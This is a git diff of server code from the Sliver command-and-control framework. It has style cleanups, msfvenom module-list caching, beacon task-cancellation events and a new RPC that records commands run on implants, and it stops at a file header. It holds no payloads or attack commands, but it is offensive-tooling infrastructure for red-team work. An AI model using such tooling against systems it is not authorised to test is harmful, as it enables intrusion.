@@ -72,14 +72,14 @@ func (c *RTunnel) Close() {
c.Writer.Close()
}
-// Tunnel - Add tunnel to mapping
+// Tunnel - Add tunnel to mapping.
func GetRTunnel(ID uint64) *RTunnel {
mutex.RLock()
defer mutex.RUnlock()
return Rtunnels[ID]
}
-// AddTunnel - Add tunnel to mapping
+// AddTunnel - Add tunnel to mapping.
func AddRTunnel(tun *RTunnel) {
mutex.Lock()
defer mutex.Unlock()
@@ -87,7 +87,7 @@ func AddRTunnel(tun *RTunnel) {
Rtunnels[tun.ID] = tun
}
-// RemoveTunnel - Add tunnel to mapping
+// RemoveTunnel - Add tunnel to mapping.
func RemoveRTunnel(ID uint64) {
mutex.Lock()
defer mutex.Unlock()
diff --git a/server/daemon/README.md b/server/daemon/README.md
deleted file mode 100644
index 8c8d1b9add..0000000000
--- a/server/daemon/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Daemon
-======
-
-This is the main function when the application is executed as a daemon instead of in console mode. It simply starts the MTLS listener and responds to SIG messages.
diff --git a/server/daemon/daemon.go b/server/daemon/daemon.go
deleted file mode 100644
index d673142fcd..0000000000
--- a/server/daemon/daemon.go
+++ /dev/null
@@ -1,73 +0,0 @@
-package daemon
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "fmt"
- "os"
- "os/signal"
- "syscall"
-
- "github.com/bishopfox/sliver/server/configs"
- "github.com/bishopfox/sliver/server/log"
- "github.com/bishopfox/sliver/server/transport"
-)
-
-var (
- serverConfig = configs.GetServerConfig()
- daemonLog = log.NamedLogger("daemon", "main")
-
- // BlankHost is a blank hostname
- BlankHost = "-"
- // BlankPort is a blank port number
- BlankPort = uint16(0)
-)
-
-// Start - Start as daemon process
-func Start(host string, port uint16) {
-
- // cli args take president over config
- if host == BlankHost {
- daemonLog.Info("No cli lhost, using config file or default value")
- host = serverConfig.DaemonConfig.Host
- }
- if port == BlankPort {
- daemonLog.Info("No cli lport, using config file or default value")
- port = uint16(serverConfig.DaemonConfig.Port)
- }
-
- daemonLog.Infof("Starting Sliver daemon %s:%d ...", host, port)
- _, ln, err := transport.StartMtlsClientListener(host, port)
- if err != nil {
- fmt.Printf("[!] Failed to start daemon %s", err)
- daemonLog.Errorf("Error starting client listener %s", err)
- os.Exit(1)
- }
-
- done := make(chan bool)
- signals := make(chan os.Signal, 1)
- signal.Notify(signals, syscall.SIGTERM)
- go func() {
- <-signals
- daemonLog.Infof("Received SIGTERM, exiting ...")
- ln.Close()
- done <- true
- }()
- <-done
-}
diff --git a/server/db/models/implant.go b/server/db/models/implant.go
index 33db497915..cccda8d286 100644
--- a/server/db/models/implant.go
+++ b/server/db/models/implant.go
@@ -349,9 +349,11 @@ type ImplantC2 struct {
// BeforeCreate - GORM hook
func (c2 *ImplantC2) BeforeCreate(tx *gorm.DB) (err error) {
- c2.ID, err = uuid.NewV4()
- if err != nil {
- return err
+ if c2.ID == uuid.Nil {
+ c2.ID, err = uuid.NewV4()
+ if err != nil {
+ return err
+ }
}
c2.CreatedAt = time.Now()
return nil
diff --git a/server/encoders/encoders.go b/server/encoders/encoders.go
index 89ad27d0e2..5b80f39767 100644
--- a/server/encoders/encoders.go
+++ b/server/encoders/encoders.go
@@ -73,8 +73,19 @@ var (
UnavailableID = PopulateID()
)
-func SetupDefaultEncoders(name string) uint64 {
+// Setup is an init function to automatically setup default encoders.
+// Called in the root sliver server binary command pre-runners.
+func Setup() {
+ util.SetEnglishDictionary(assets.English())
+ TrafficEncoderFS = PassthroughEncoderFS{
+ rootDir: filepath.Join(assets.GetRootAppDir(), "traffic-encoders"),
+ }
+ loadTrafficEncodersFromFS(TrafficEncoderFS, func(msg string) {
+ trafficEncoderLog.Debugf("[traffic-encoder] %s", msg)
+ })
+}
+func SetupDefaultEncoders(name string) uint64 {
encoders, err := db.ResourceIDByType("encoder")
if err != nil {
encodersLog.Printf("Error:\n%s", err)
@@ -127,16 +138,6 @@ func GetRandomID() uint64 {
return uint64(id)
}
-func init() {
- util.SetEnglishDictionary(assets.English())
- TrafficEncoderFS = PassthroughEncoderFS{
- rootDir: filepath.Join(assets.GetRootAppDir(), "traffic-encoders"),
- }
- loadTrafficEncodersFromFS(TrafficEncoderFS, func(msg string) {
- trafficEncoderLog.Debugf("[traffic-encoder] %s", msg)
- })
-}
-
// EncoderMap - A map of all available encoders (native and traffic/wasm)
var EncoderMap = map[uint64]util.Encoder{
Base64EncoderID: Base64,
@@ -166,7 +167,7 @@ func SaveTrafficEncoder(name string, wasmBin []byte) error {
return fmt.Errorf("invalid encoder name, must end with .wasm")
}
wasmFilePath := filepath.Join(assets.GetTrafficEncoderDir(), filepath.Base(name))
- err := os.WriteFile(wasmFilePath, wasmBin, 0600)
+ err := os.WriteFile(wasmFilePath, wasmBin, 0o600)
if err != nil {
return err
}
@@ -203,7 +204,6 @@ func RemoveTrafficEncoder(name string) error {
// loadTrafficEncodersFromFS - Loads the wasm traffic encoders from the filesystem, for the
// server these will be loaded from: /traffic-encoders/*.wasm
func loadTrafficEncodersFromFS(encodersFS util.EncoderFS, logger func(string)) error {
-
// Reset references pointing to traffic encoders
for _, encoder := range TrafficEncoderMap {
delete(EncoderMap, encoder.ID)
diff --git a/server/log/audit.go b/server/log/audit.go
index ac45ceded0..16e7969816 100644
--- a/server/log/audit.go
+++ b/server/log/audit.go
@@ -26,16 +26,14 @@ import (
"github.com/sirupsen/logrus"
)
-var (
- // AuditLogger - Single audit log
- AuditLogger = newAuditLogger()
-)
+// AuditLogger - Single audit log.
+var AuditLogger = newAuditLogger()
func newAuditLogger() *logrus.Logger {
auditLogger := logrus.New()
auditLogger.Formatter = &logrus.JSONFormatter{}
jsonFilePath := filepath.Join(GetLogDir(), "audit.json")
- jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
+ jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
panic(fmt.Sprintf("Failed to open log file %v", err))
}
diff --git a/server/log/log.go b/server/log/log.go
index 417627b85f..4a322403f0 100644
--- a/server/log/log.go
+++ b/server/log/log.go
@@ -35,13 +35,13 @@ const (
)
var (
- // RootLoggerName - Root logger name, contains all log data
+ // RootLoggerName - Root logger name, contains all log data.
RootLoggerName = "root"
- // RootLogger - Root Logger
+ // RootLogger - Root Logger.
RootLogger = rootLogger()
)
-// NamedLogger - Returns a logger wrapped with pkg/stream fields
+// NamedLogger - Returns a logger wrapped with pkg/stream fields.
func NamedLogger(pkg, stream string) *logrus.Entry {
return RootLogger.WithFields(logrus.Fields{
"pkg": pkg,
@@ -49,9 +49,8 @@ func NamedLogger(pkg, stream string) *logrus.Entry {
})
}
-// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/
+// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/.
func GetRootAppDir() string {
-
value := os.Getenv(envVarName)
var dir string
@@ -63,7 +62,7 @@ func GetRootAppDir() string {
}
if _, err := os.Stat(dir); os.IsNotExist(err) {
- err = os.MkdirAll(dir, 0700)
+ err = os.MkdirAll(dir, 0o700)
if err != nil {
panic("Cannot write to sliver root dir")
}
@@ -71,18 +70,18 @@ func GetRootAppDir() string {
return dir
}
-// GetLogDir - Return the log dir
+// GetLogDir - Return the log dir.
func GetLogDir() string {
rootDir := GetRootAppDir()
if _, err := os.Stat(rootDir); os.IsNotExist(err) {
- err = os.MkdirAll(rootDir, 0700)
+ err = os.MkdirAll(rootDir, 0o700)
if err != nil {
panic(err)
}
}
logDir := path.Join(rootDir, "logs")
if _, err := os.Stat(logDir); os.IsNotExist(err) {
- err = os.MkdirAll(logDir, 0700)
+ err = os.MkdirAll(logDir, 0o700)
if err != nil {
panic(err)
}
@@ -90,12 +89,12 @@ func GetLogDir() string {
return logDir
}
-// RootLogger - Returns the root logger
+// RootLogger - Returns the root logger.
func rootLogger() *logrus.Logger {
rootLogger := logrus.New()
rootLogger.Formatter = &logrus.JSONFormatter{}
jsonFilePath := filepath.Join(GetLogDir(), "sliver.json")
- jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
+ jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644)
if err != nil {
panic(fmt.Sprintf("Failed to open log file %v", err))
}
@@ -106,7 +105,7 @@ func rootLogger() *logrus.Logger {
return rootLogger
}
-// RootLogger - Returns the root logger
+// RootLogger - Returns the root logger.
func txtLogger() *logrus.Logger {
txtLogger := logrus.New()
txtLogger.Formatter = &logrus.TextFormatter{
@@ -114,7 +113,7 @@ func txtLogger() *logrus.Logger {
FullTimestamp: true,
}
txtFilePath := filepath.Join(GetLogDir(), "sliver.log")
- txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
+ txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644)
if err != nil {
panic(fmt.Sprintf("Failed to open log file %v", err))
}
@@ -123,13 +122,13 @@ func txtLogger() *logrus.Logger {
return txtLogger
}
-// TxtHook - Hook in a textual version of the logs
+// TxtHook - Hook in a textual version of the logs.
type TxtHook struct {
Name string
logger *logrus.Logger
}
-// NewTxtHook - returns a new txt hook
+// NewTxtHook - returns a new txt hook.
func NewTxtHook(name string) *TxtHook {
hook := &TxtHook{
Name: name,
@@ -138,7 +137,7 @@ func NewTxtHook(name string) *TxtHook {
return hook
}
-// Fire - Implements the fire method of the Logrus hook
+// Fire - Implements the fire method of the Logrus hook.
func (hook *TxtHook) Fire(entry *logrus.Entry) error {
if hook.logger == nil {
return errors.New("no txt logger")
@@ -172,12 +171,12 @@ func (hook *TxtHook) Fire(entry *logrus.Entry) error {
return nil
}
-// Levels - Hook all levels
+// Levels - Hook all levels.
func (hook *TxtHook) Levels() []logrus.Level {
return logrus.AllLevels
}
-// RootLogger - Returns the root logger
+// RootLogger - Returns the root logger.
func stdoutLogger() *logrus.Logger {
txtLogger := logrus.New()
txtLogger.Formatter = &logrus.TextFormatter{
@@ -189,13 +188,13 @@ func stdoutLogger() *logrus.Logger {
return txtLogger
}
-// TxtHook - Hook in a textual version of the logs
+// TxtHook - Hook in a textual version of the logs.
type StdoutHook struct {
Name string
logger *logrus.Logger
}
-// NewTxtHook - returns a new txt hook
+// NewTxtHook - returns a new txt hook.
func NewStdoutHook(name string) *StdoutHook {
hook := &StdoutHook{
Name: name,
@@ -204,7 +203,7 @@ func NewStdoutHook(name string) *StdoutHook {
return hook
}
-// Fire - Implements the fire method of the Logrus hook
+// Fire - Implements the fire method of the Logrus hook.
func (hook *StdoutHook) Fire(entry *logrus.Entry) error {
if hook.logger == nil {
return errors.New("no txt logger")
@@ -238,12 +237,12 @@ func (hook *StdoutHook) Fire(entry *logrus.Entry) error {
return nil
}
-// Levels - Hook all levels
+// Levels - Hook all levels.
func (hook *StdoutHook) Levels() []logrus.Level {
return logrus.AllLevels
}
-// LevelFrom - returns level from int
+// LevelFrom - returns level from int.
func LevelFrom(level int) logrus.Level {
switch level {
case 0:
diff --git a/server/msf/msf.go b/server/msf/msf.go
index 27f3a6e3a8..b4f1ec1f70 100644
--- a/server/msf/msf.go
+++ b/server/msf/msf.go
@@ -22,10 +22,15 @@ import (
"bytes"
"fmt"
"net/url"
+ "os"
"os/exec"
+ "path/filepath"
"strconv"
"strings"
+ "sync"
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
)
@@ -33,6 +38,7 @@ const (
consoleBin = "msfconsole"
venomBin = "msfvenom"
sep = "/"
+ msfDir = "msf"
)
var (
@@ -82,7 +88,6 @@ var (
"csharp": true,
"dw": true,
"dword": true,
- "exe": true,
"hex": true,
"java": true,
"js_be": true,
@@ -101,8 +106,17 @@ var (
"vbapplication": true,
"vbscript": true,
}
+
+ msfModuleTypes = []string{
+ "encoders",
+ "payloads",
+ "formats",
+ "archs",
+ }
)
+var msfCache = sync.Map{}
+
// VenomConfig -
type VenomConfig struct {
Os string
@@ -118,6 +132,76 @@ type VenomConfig struct {
AdvOptions string
}
+// CacheModules parses the text output of some our relevant
+// Metasploit generation helpers, to be used for completions.
+func CacheModules() {
+ if _, err := exec.LookPath(venomBin); err != nil {
+ return
+ }
+
+ msfLog.Infof("Caching msfvenom data (this may take a few seconds)")
+
+ all := sync.WaitGroup{}
+
+ for i := range msfModuleTypes {
+ all.Add(1)
+ target := msfModuleTypes[i]
+
+ go func() {
+ defer all.Done()
+
+ result, err := venomCmd([]string{"--list", target})
+ if err != nil {
+ msfLog.Error(err)
+ return
+ }
+
+ fileName := filepath.Join(MsfDir(), "msf-"+target+".cache")
+ if err := os.WriteFile(fileName, result, 0o600); err != nil {
+ msfLog.Error(err)
+ }
+ }()
+ }
+
+ all.Wait()
+ msfLog.Infof("Done caching msfvenom data")
+}
+
+// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/
+func MsfDir() string {
+ msfDir := filepath.Join(assets.GetRootAppDir(), msfDir)
+
+ if _, err := os.Stat(msfDir); os.IsNotExist(err) {
+ err = os.MkdirAll(msfDir, 0o700)
+ if err != nil {
+ msfLog.Fatalf("Cannot write to sliver root dir %s", err)
+ }
+ }
+ return msfDir
+}
+
+// GetMsfCache returns the cache of Metasploit modules and other info.
+func GetMsfCache() *clientpb.MetasploitCompiler {
+ formats, ok := msfCache.Load("formats")
+ if !ok {
+ loadCache()
+ }
+
+ formats, ok = msfCache.Load("formats")
+ archs, _ := msfCache.Load("archs")
+ payloads, _ := msfCache.Load("payloads")
+ encoders, _ := msfCache.Load("encoders")
+
+ msf := &clientpb.MetasploitCompiler{
+ Formats: formats.([]string),
+ Archs: archs.([]string),
+ Payloads: payloads.([]*clientpb.MetasploitModule),
+ Encoders: encoders.([]*clientpb.MetasploitModule),
+ }
+
+ return msf
+}
+
// Version - Return the version of MSFVenom
func Version() (string, error) {
stdout, err := consoleCmd([]string{"--version"})
@@ -260,3 +344,125 @@ func Arch(arch string) string {
}
return "x86"
}
+
+func loadCache() {
+ msf := parseCache()
+
+ if len(msf.Formats) == 0 {
+ return
+ }
+
+ msfCache.Store("formats", msf.Formats)
+ msfCache.Store("archs", msf.Archs)
+ msfCache.Store("payloads", msf.Payloads)
+ msfCache.Store("encoders", msf.Encoders)
+}
+
+// parseCache returns the MSFvenom information useful to Sliver.
+func parseCache() *clientpb.MetasploitCompiler {
+ msf := &clientpb.MetasploitCompiler{}
+
+ if _, err := exec.LookPath(venomBin); err != nil {
+ return msf
+ }
+
+ ver, err := Version()
+ if err != nil {
+ return msf
+ }
+
+ msf.Version = ver
+
+ for _, file := range msfModuleTypes {
+ fileName := filepath.Join(MsfDir(), fmt.Sprintf("msf-%s.cache", file))
+
+ switch file {
+ case "formats":
+ if formats, err := os.ReadFile(fileName); err == nil {
+ raw := strings.Split(string(formats), "----")
+ all := strings.Split(raw[len(raw)-1], "\n")
+
+ for _, fmt := range all {
+ msf.Formats = append(msf.Formats, strings.TrimSpace(fmt))
+ }
+ }
+
+ case "archs":
+ if archs, err := os.ReadFile(fileName); err == nil {
+ raw := strings.Split(string(archs), "----")
+ all := strings.Split(raw[len(raw)-1], "\n")
+
+ for _, arch := range all {
+ msf.Archs = append(msf.Archs, strings.TrimSpace(arch))
+ }
+ }
+
+ case "payloads":
+ if payloads, err := os.ReadFile(fileName); err == nil {
+ raw := strings.Split(string(payloads), "-----------")
+ all := strings.Split(raw[len(raw)-1], "\n")
+
+ for _, info := range all {
+ payload := &clientpb.MetasploitModule{}
+
+ items := filterEmpty(strings.Split(strings.TrimSpace(info), " "))
+
+ if len(items) > 0 {
+ fullname := strings.TrimSpace(items[0])
+ payload.FullName = fullname
+ payload.Name = filepath.Base(fullname)
+ }
+ if len(items) > 1 {
+ payload.Description = strings.Join(items[1:], " ")
+ }
+
+ msf.Payloads = append(msf.Payloads, payload)
+ }
+ }
+
+ case "encoders":
+ if encoders, err := os.ReadFile(fileName); err == nil {
+ raw := strings.Split(string(encoders), "-----------")
+ all := strings.Split(raw[len(raw)-1], "\n")
+
+ for _, info := range all {
+ encoder := &clientpb.MetasploitModule{}
+
+ // First split the name from everything else following.
+ items := filterEmpty(strings.Split(strings.TrimSpace(info), " "))
+ if len(items) == 0 {
+ continue
+ }
+
+ if len(items) > 0 {
+ fullname := strings.TrimSpace(items[0])
+ encoder.FullName = fullname
+ encoder.Name = filepath.Base(fullname)
+ }
+
+ // Then try to find a level, and a description.
+ if len(items) > 1 {
+ encoder.Quality = strings.TrimSpace(items[1])
+ encoder.Description = strings.Join(items[2:], " ")
+ }
+
+ msf.Encoders = append(msf.Encoders, encoder)
+ }
+ }
+ }
+ }
+
+ return msf
+}
+
+func filterEmpty(list []string) []string {
+ var full []string
+ for _, item := range list {
+ trim := strings.TrimSpace(item)
+ if trim != "" {
+ full = append(full, trim)
+ }
+ }
+
+ return full
+}
diff --git a/server/rpc/rpc-beacons.go b/server/rpc/rpc-beacons.go
index 8001b313ae..2f8cfd89f3 100644
--- a/server/rpc/rpc-beacons.go
+++ b/server/rpc/rpc-beacons.go
@@ -21,16 +21,18 @@ package rpc
import (
"context"
+ "google.golang.org/protobuf/proto"
+
+ consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
+ "github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
)
-var (
- beaconRpcLog = log.NamedLogger("rpc", "beacons")
-)
+var beaconRpcLog = log.NamedLogger("rpc", "beacons")
// GetBeacons - Get a list of beacons from the database
func (rpc *Server) GetBeacons(ctx context.Context, req *commonpb.Empty) (*clientpb.Beacons, error) {
@@ -69,7 +71,8 @@ func (rpc *Server) RmBeacon(ctx context.Context, req *clientpb.Beacon) (*commonp
}
err = db.Session().Where(&models.BeaconTask{
- BeaconID: beacon.ID},
+ BeaconID: beacon.ID,
+ },
).Delete(&models.BeaconTask{}).Error
if err != nil {
beaconRpcLog.Errorf("Database error: %s", err)
@@ -123,5 +126,21 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
if err != nil {
return nil, ErrInvalidBeaconTaskID
}
+
+ // Some client might be currently blocking for the canceled
+ // task result, so tell them about it so they can exit.
+ beacon, err := db.BeaconByID(task.BeaconID)
+ if err != nil {
+ return task, ErrInvalidBeaconID
+ }
+
+ eventData, _ := proto.Marshal(task)
+
+ core.EventBroker.Publish(core.Event{
+ EventType: consts.BeaconTaskCanceledEvent,
+ Data: eventData,
+ Beacon: beacon,
+ })
+
return task, nil
}
diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go
index d1ea9d2b7e..c5117358cd 100644
--- a/server/rpc/rpc-client-logs.go
+++ b/server/rpc/rpc-client-logs.go
@@ -20,6 +20,8 @@ package rpc
import (
"compress/gzip"
+ "context"
+ "errors"
"fmt"
"io"
insecureRand "math/rand"
@@ -40,7 +42,7 @@ var (
ErrInvalidStreamName = status.Error(codes.InvalidArgument, "Invalid stream name")
rpcClientLogs = log.NamedLogger("rpc", "client-logs")
- streamNamePattern = regexp.MustCompile("^[a-z0-9_-]+$")
+ streamNamePattern = regexp.MustCompile("^[a-zA-Z0-9_-]+$")
)
type LogStream struct {
@@ -102,10 +104,15 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error {
if err == io.EOF {
break
}
+
if err != nil {
- rpcClientLogs.Errorf("Failed to receive client console log data: %s", err)
+ err = errors.New(status.Convert(err).Message()) // Unwrap the gRPC error
+ if !errors.Is(err, context.Canceled) {
+ rpcClientLogs.Errorf("Failed to receive client console log data: %s", err)
+ }
return err
}
+
streamName := fromClient.GetStream()
if _, ok := streams[streamName]; !ok {
streams[streamName], err = openNewLogStream(logsDir, streamName)
@@ -139,7 +146,7 @@ func openNewLogStream(logsDir string, stream string) (*LogStream, error) {
}
func randomSuffix(n int) string {
- var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
+ letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
buf := make([]rune, n)
for i := range buf {
buf[i] = letterRunes[insecureRand.Intn(len(letterRunes))]
@@ -168,7 +175,7 @@ func gzipFile(filePath string) {
return
}
defer inputFile.Close()
- outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
+ outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
if err != nil {
rpcClientLogs.Errorf("Failed to open gz client console log file: %s", err)
return
diff --git a/server/rpc/rpc-events.go b/server/rpc/rpc-events.go
index e45f235d9d..5dcaa5382e 100644
--- a/server/rpc/rpc-events.go
+++ b/server/rpc/rpc-events.go
@@ -8,9 +8,7 @@ import (
"github.com/bishopfox/sliver/server/log"
)
-var (
- rpcEventsLog = log.NamedLogger("rpc", "events")
-)
+var rpcEventsLog = log.NamedLogger("rpc", "events")
// Events - Stream events to client
func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer) error {
@@ -18,9 +16,10 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer
client := core.NewClient(commonName)
core.Clients.Add(client)
events := core.EventBroker.Subscribe()
+ rpcEventsLog.Debugf("Client %d connected", client.ID)
defer func() {
- rpcEventsLog.Infof("%d client disconnected", client.ID)
+ rpcEventsLog.Debugf("Client %d disconnected", client.ID)
core.EventBroker.Unsubscribe(events)
core.Clients.Remove(client.ID)
}()
@@ -41,6 +40,9 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer
if event.Client != nil {
pbEvent.Client = event.Client.ToProtobuf()
}
+ if event.Beacon != nil {
+ pbEvent.Beacon = event.Beacon.ToProtobuf()
+ }
if event.Session != nil {
pbEvent.Session = event.Session.ToProtobuf()
}
diff --git a/server/rpc/rpc-generate.go b/server/rpc/rpc-generate.go
index 84484c77cf..1a11145a51 100644
--- a/server/rpc/rpc-generate.go
+++ b/server/rpc/rpc-generate.go
@@ -51,9 +51,7 @@ import (
"google.golang.org/protobuf/proto"
)
-var (
- rcpGenLog = log.NamedLogger("rpc", "generate")
-)
+var rcpGenLog = log.NamedLogger("rpc", "generate")
// Generate - Generate a new implant
func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.Generate, error) {
@@ -147,7 +145,6 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
// Regenerate - Regenerate a previously generated implant
func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq) (*clientpb.Generate, error) {
-
build, err := db.ImplantBuildByName(req.ImplantName)
if err != nil {
rpcLog.Errorf("Failed to find implant %s: %s", req.ImplantName, err)
@@ -213,7 +210,6 @@ func (rpc *Server) Canaries(ctx context.Context, _ *commonpb.Empty) (*clientpb.C
// GenerateUniqueIP - Wrapper around generate.GenerateUniqueIP
func (rpc *Server) GenerateUniqueIP(ctx context.Context, _ *commonpb.Empty) (*clientpb.UniqueWGIP, error) {
uniqueIP, err := generate.GenerateUniqueIP()
-
if err != nil {
rpcLog.Infof("Failed to generate unique wg peer ip: %s\n", err)
return nil, err
@@ -492,7 +488,6 @@ func (rpc *Server) Builders(ctx context.Context, _ *commonpb.Empty) (*clientpb.B
// BuilderTrigger - Trigger a builder event
func (rpc *Server) BuilderTrigger(ctx context.Context, req *clientpb.Event) (*commonpb.Empty, error) {
-
switch req.EventType {
// Only allow certain event types to be triggered
diff --git a/server/rpc/rpc-history.go b/server/rpc/rpc-history.go
new file mode 100644
index 0000000000..aba3aea1b5
--- /dev/null
+++ b/server/rpc/rpc-history.go
@@ -0,0 +1,185 @@
+package rpc
+
+import (
+ "context"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+ "strings"
+ "sync"
+
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/protobuf/rpcpb"
+ "github.com/bishopfox/sliver/server/log"
+ "google.golang.org/grpc/status"
+)
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+// GetImplantHistory returns a list of commands ran on an implant, by a given user or all of them.
+func (rpc *Server) GetImplantHistory(ctx context.Context, req *clientpb.HistoryRequest) (*clientpb.History, error) {
+ commonName := rpc.getClientCommonName(ctx)
+ logsDir, err := getImplantHistoryDir()
+ if err != nil {
+ rpcClientLogs.Errorf("Failed to get implant log directory: %s", err)
+ return nil, err
+ }
+
+ // Don't create if the history file does not exist.
+ streamName := fmt.Sprintf("%s_%s", req.ImplantName, req.ImplantID)
+ rpcClientLogs.Infof("Opening file %s", streamName)
+ logPath := filepath.Join(logsDir, streamName+".history")
+ if _, err := os.Stat(logPath); err != nil {
+ if os.IsNotExist(err) {
+ return &clientpb.History{}, nil
+ }
+
+ return nil, err
+ }
+
+ // Read the file and unmarshal in here.
+ var commands []*clientpb.ImplantCommand
+
+ data, err := os.ReadFile(logPath)
+ if err != nil {
+ rpcClientLogs.Errorf("Failed to read implant history file: %s", err)
+ return nil, err
+ }
+
+ err = json.Unmarshal(formatJSONList(data), &commands)
+ if err != nil {
+ rpcClientLogs.Error(err)
+ }
+
+ history := &clientpb.History{}
+
+ // Get only user commands if required to.
+ if req.UserOnly {
+ history.UserOnly = true
+
+ for _, cmd := range commands {
+ if cmd.GetUser() == commonName {
+ history.Commands = append(history.Commands, cmd)
+ }
+ }
+ } else {
+ history.Commands = commands
+ }
+
+ // And if requested for only a certain number of commands, cut the list.
+ if req.MaxLines > 0 && int(req.MaxLines) < len(history.Commands) {
+ oldest := len(history.Commands) - int(req.MaxLines)
+ history.Commands = history.Commands[oldest:]
+ }
+
+ history.HistoryLen = int32(len(commands))
+
+ return history, nil
+}
+
+// ImplantHistory is used by clients to log the command lines they execute on implants.
+func (rpc *Server) ImplantHistory(stream rpcpb.SliverRPC_ImplantHistoryServer) error {
+ commonName := rpc.getClientCommonName(stream.Context())
+ logsDir, err := getImplantHistoryDir()
+ if err != nil {
+ rpcClientLogs.Errorf("Failed to get implant log directory: %s", err)
+ return err
+ }
+
+ streams := make(map[string]*LogStream)
+ defer func() {
+ for _, stream := range streams {
+ rpcClientLogs.Infof("Closing implant log file: %s", stream.logFile.Name())
+ stream.logFile.Close()
+ }
+ }()
+
+ for {
+ fromClient, err := stream.Recv()
+ if err == io.EOF {
+ break
+ }
+ if err != nil {
+ // gRPC errors are a pain to work with...
+ canceled := errors.New(context.Canceled.Error())
+
+ if !errors.As(errors.New(status.Convert(err).Message()), &canceled) {
+ rpcClientLogs.Errorf("Failed to receive implant history data: %s", err)
+ }
+ return err
+ }
+
+ streamName := fmt.Sprintf("%s_%s", fromClient.ImplantName, fromClient.ImplantID)
+
+ // Remove useless fields and write to file.
+ fromClient.User = commonName
+ fromClient.Request = nil
+
+ data, err := json.Marshal(fromClient)
+ if err != nil {
+ return err
+ }
+
+ data = append([]byte(",\n"), data...)
+
+ if _, ok := streams[streamName]; !ok {
+ streams[streamName], err = openNewHistoryStream(logsDir, streamName)
+ if err != nil {
+ rpcClientLogs.Errorf("Failed to open implant history log file: %s", err)
+ return err
+ }
+ }
+ rpcClientLogs.Debugf("Received %d bytes of implant history data for %s", len(data), streamName)
+ streams[streamName].Write(data)
+ }
+ return nil
+}
+
+func getImplantHistoryDir() (string, error) {
+ parentLogDir := filepath.Join(log.GetLogDir(), "implants")
+ if err := os.MkdirAll(parentLogDir, 0o700); err != nil {
+ rpcClientLogs.Warnf("Failed to create client console log directory: %s", err)
+ return "", err
+ }
+ return parentLogDir, nil
+}
+
+func openNewHistoryStream(logsDir string, stream string) (*LogStream, error) {
+ if !streamNamePattern.MatchString(stream) {
+ return nil, ErrInvalidStreamName
+ }
+ stream = filepath.Base(stream)
+ logPath := filepath.Join(logsDir, filepath.Base(stream+".history"))
+ logFile, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
+ if err != nil {
+ return nil, err
+ }
+ return &LogStream{stream: stream, parts: 0, logFile: logFile, lock: &sync.Mutex{}}, nil
+}
+
+func formatJSONList(data []byte) []byte {
+ data = []byte(strings.TrimPrefix(string(data), ",\n"))
+ data = append(data, ']')
+ data = append([]byte("["), data...)
+
+ return data
+}
diff --git a/server/rpc/rpc-msf.go b/server/rpc/rpc-msf.go
index 5e55af1691..068d6d8f52 100644
--- a/server/rpc/rpc-msf.go
